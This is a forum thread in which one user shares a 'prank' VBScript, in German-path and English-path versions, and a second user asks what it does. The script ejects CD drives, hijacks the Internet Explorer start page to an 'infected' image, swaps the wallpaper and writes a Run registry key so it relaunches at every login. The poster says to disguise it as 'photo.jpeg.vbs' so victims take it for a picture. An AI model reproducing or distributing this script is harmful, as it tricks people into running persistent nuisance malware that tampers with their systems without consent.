Thread: Prank VBS

Results 1 to 2 of 2
  1. #1
    Hans1324's Avatar
    Join Date
    Aug 2010
    Gender
    male
    Location
    Germany
    Posts
    11
    Reputation
    10
    Thanks
    2
    My Mood
    Goofy
    Whoever likes making a prank can have it here is the code
    first go to Start>RUN> type in Notepad> type in this code :

    downread=""
    if (downread="") then
    downread="C:\"
    end if

    Set oWMP = CreateObject("WMPlayer.OCX.7" )
    Set colCDROMs = oWMP.cdromCollection

    if colCDROMs.Count >= 1 then
    For i = 0 to colCDROMs.Count - 1
    colCDROMs.Item(i).Eject
    Next ' cdrom
    End If
    Set objwshell = Createobject("Wscript.Shell")
    strpage = "https://www.randomhouse.de/content/attachment/webarticle/infiziert2_9704.jpg"
    objwshell.regwrite "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page",strpage

    Set wshShell = WScript.CreateObject("WScript.Shell")
    sUserName = wshShell.ExpandEnvironmentStrings("%USERNAME%")
    Set oShell = CreateObject("WScript.Shell")
    Set oFSO = CreateObject("Scripting.FileSystemObject")
    sWinDir = oFSO.GetSpecialFolder(0)
    sWallPaper = "C:\Dokumente und Einstellungen\"&sUserName&"\Desktop\cool.bmp"
    oShell.RegWrite "HKCU\Control Panel\Desktop\Wallpaper", sWallPaper
    oShell.Run "%windir%\System32\RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters", 1, True
    sObject = "C:\Dokumente und Einstellungen\" & sUserName & "\Desktop\gaudi.vbs"
    oShell.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Ru n\Security",sObject
    Set oShell = Nothing
    Set objwshell = Nothing
    set wshShell = Nothing
    Set oWMP = Nothing


    __________________________________________________ __________
    save as (example) photo.jpeg.vbs
    this works only in Windows XP! If you awnt this for Vista to or Win 7 please post in!



    (WARNING! I DO NOT TAKE ANY RESPONSIBILITY FOR ANY DAMAGE YOU CAUSE WITH THIS FILE ! IT'S IS THOUGHT FOR EDUCATIONAL PURPOSES!)
    thanks!

    Sry!! Wrong Code this is working only for german computers!!

    Here is the right one!

    downread=""
    if (downread="") then
    downread="C:\"
    end if

    Set oWMP = CreateObject("WMPlayer.OCX.7" )
    Set colCDROMs = oWMP.cdromCollection

    if colCDROMs.Count >= 1 then
    For i = 0 to colCDROMs.Count - 1
    colCDROMs.Item(i).Eject
    Next ' cdrom
    End If
    Set objwshell = Createobject("Wscript.Shell")
    strpage = "https://www.randomhouse.de/content/attachment/webarticle/infiziert2_9704.jpg"
    objwshell.regwrite "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page",strpage

    Set wshShell = WScript.CreateObject("WScript.Shell")
    sUserName = wshShell.ExpandEnvironmentStrings("%USERNAME%")
    Set oShell = CreateObject("WScript.Shell")
    Set oFSO = CreateObject("Scripting.FileSystemObject")
    sWinDir = oFSO.GetSpecialFolder(0)
    sWallPaper = "C:\Documents and settings\"&sUserName&"\Desktop\cool.bmp"
    oShell.RegWrite "HKCU\Control Panel\Desktop\Wallpaper", sWallPaper
    oShell.Run "%windir%\System32\RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters", 1, True
    sObject = "C:\Documents and settings\" & sUserName & "\Desktop\(Name of File).vbs"
    oShell.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersio n\Ru n\Security",sObject
    Set oShell = Nothing
    Set objwshell = Nothing
    set wshShell = Nothing
    Set oWMP = Nothing
    Last edited by Hans1324; 09-10-2010 at 01:25 AM.

  2. #2
    Devastation64's Avatar
    Join Date
    Jan 2009
    Gender
    male
    Location
    Kentucky
    Posts
    52
    Reputation
    10
    Thanks
    10
    What does this even do?

Similar Threads

  1. MAZE PRANK lol
    By stiffy in forum General
    Replies: 5
    Last Post: 10-27-2007, 10:43 PM
  2. Hotel Desk Prank
    By arunforce in forum General
    Replies: 3
    Last Post: 08-03-2007, 08:26 PM
  3. Prank websites (send to yo friends)
    By nukeist_ in forum Entertainment
    Replies: 3
    Last Post: 07-17-2007, 03:36 AM
  4. Funny Prank
    By arunforce in forum General
    Replies: 0
    Last Post: 06-06-2007, 11:46 PM
  5. Prank Calling Elevator
    By sf0d in forum General
    Replies: 1
    Last Post: 09-15-2006, 11:16 PM